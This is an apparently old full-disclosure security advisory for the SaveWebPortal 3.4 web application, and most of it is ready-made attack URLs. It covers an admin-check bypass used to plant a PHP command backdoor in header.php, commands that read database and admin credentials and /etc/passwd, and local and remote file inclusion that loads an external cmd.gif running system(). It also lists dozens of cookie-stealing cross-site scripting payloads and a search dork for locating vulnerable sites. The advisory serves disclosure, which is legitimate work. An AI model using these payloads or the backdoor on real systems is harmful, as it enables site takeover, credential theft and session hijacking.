SaveWebPortal 3.4 remote code execution / admin check bypass / remote file
inclusion / cross site scripting 

author site: http://www.circeos.it
download page: http://www.circeos.it/frontend/index.php?page=downloads


a) remote code execution:

a user can bypass admin check, calling this url:

http://[target]/saveweb/admin/PhpMyExplorer/editerfichier.php?chemin=.&fichier=header.php&type=Source

now can leave a backdoor in header.php or some other file, example:

<?php 
error_reporting(0);
passtrhu($HTTP_GET_VARS[command]);
?>

after editing template, user can execute arbitrary system commands, through a
url like this:

http://[target]/saveweb/header.php?command=ls%20-la

to list directories...

http://[target]/saveweb/header.php?command=cat%20config.inc.php

to see database username/password and admin panel username/password 
(now attacker have full access to site configuration... can go to
http://[target]/saveweb/admin/
to login...
)

http://[target]/saveweb/header.php?command=cat%20/etc/passwd

to see passwd file...


b) arbitrary file inclusion:

a user can view any file on the target server,if not with .php extension:

http://[target]/saveweb/menu_dx.php?SITE_Path=../../../../../boot.ini%00
http://[target]/saveweb/menu_sx.php?CONTENTS_Dir=../../../../../boot.ini%00

can execute arbitrary file resident on target server, if with .php extension,
example :

http://[target]/saveweb/menu_dx.php?SITE_Path=../../../../../[script].php%00
http://[target]/saveweb/menu_sx.php?CONTENTS_Dir=../../../../../[script].php%00

can craft a malicious url to cause victim user to execute commands on external
site:

http://[target]/saveweb/menu_dx.php?SITE_Path=http://[external_site]/cmd.gif%00
http://[target]/saveweb/menu_sx.php?CONTENTS_Dir=http://[external_site]/cmd.gif%00

where cmd.gif is a file like this:

<?php system('[some command]'); ?>


c) xss:

c.1)
http://[target]/saveweb/footer.php?TABLE_Width=><script>alert(document.cookie)</script>
http://[target]/saveweb/footer.php?SITE_Author_Domain=><script>alert(document.cookie)</script>
http://[target]/saveweb/footer.php?SITE_Author=><script>alert(document.cookie)</script>
http://[target]/saveweb/footer.php?L_Info=><script>alert(document.cookie)</script>
http://[target]/saveweb/footer.php?L_Help=><script>alert(document.cookie)</script>
http://[target]/saveweb/header.php?TABLE_Width=><script>alert(document.cookie)</script>
http://[target]/saveweb/header.php?L_Visitors=><script>alert(document.cookie)</script>
http://[target]/saveweb/header.php?count=><script>alert(document.cookie)</script>
http://[target]/saveweb/header.php?SITE_Logo="><script>alert(document.cookie)</script>
http://[target]/saveweb/header.php?BANNER_Url="><script>alert(document.cookie)</script>

http://[target]/saveweb/header.php?L_Sunday="}</script><script>alert(document.cookie)</script><!--
http://[target]/saveweb/header.php?L_Monday="}</script><script>alert(document.cookie)</script><!--
and so on...

http://[target]/saveweb/header.php?L_January="}</script><script>alert(document.cookie)</script><!--
http://[target]/saveweb/header.php?L_February="}</script><script>alert(document.cookie)</script><!--
and so on...

http://[target]/saveweb/header.php?IMAGES_Url="><script>alert(document.cookie)</script><!--
http://[target]/saveweb/header.php?L_Info="><script>alert(document.cookie)</script><!--
http://[target]/saveweb/header.php?L_Help="><script>alert(document.cookie)</script><!--

http://[target]/saveweb/menu_dx.php?L_InsertCorrectly=<script>alert(document.cookie)</script>
http://[target]/saveweb/menu_dx.php?L_MENUDX_Login=<script>alert(document.cookie)</script><!--
http://[target]/saveweb/menu_dx.php?L_MENUDX_Username=<script>alert(document.cookie)</script><!--
http://[target]/saveweb/menu_dx.php?L_MENUDX_Password=<script>alert(document.cookie)</script><!--
http://[target]/saveweb/menu_dx.php?L_Ok=<script>alert(document.cookie)</script><!--
http://[target]/saveweb/menu_dx.php?IMAGES_Url="><script>alert(document.cookie)</script><!--
http://[target]/saveweb/menu_dx.php?L_MENUDX_Registration="><script>alert(document.cookie)</script><!--
http://[target]/saveweb/menu_dx.php?BANNER_Url="><script>alert(document.cookie)</script><!--
http://[target]/saveweb/menu_dx.php?L_MENUSX_Newsletter=<script>alert(document.cookie)</script><!--
http://[target]/saveweb/menu_dx.php?L_MENUDX_InsertEMail=<script>alert(document.cookie)</script><!--

http://[target]/saveweb/menu_sx.php?L_InsertNOK3Char=");}</script><script>alert(document.cookie)</script><script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Channels=<script>alert(document.cookie)</script><script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Home=<script>alert(document.cookie)</script><script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Archive=<script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_Search=<script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_Ok=<script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?IMAGES_Url="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Services="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Links="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Newsletter="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Polls="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_ECards="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Downloads="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Community="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Forum="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Chat="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Nicknames="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Membership="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Login="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_UserProfile="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_PasswordForgot="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Logout="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Contacts="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_Guestbook="><script>alert(document.cookie)</script>
http://[target]/saveweb/menu_sx.php?L_MENUSX_ContactUs="><script>alert(document.cookie)</script>

c.2) a user can inject evil javascript code in HTTP_REFERER and HTTP_USER_AGENT
vars, when admin view logs javascript will be executed


googledork: "powered by ITWorking"

rgod
mail: retrogod at aliceposta it
site: http://rgod.altervista.org

original advisory: http://rgod.altervista.org/save_yourself_from_savewebportal34.html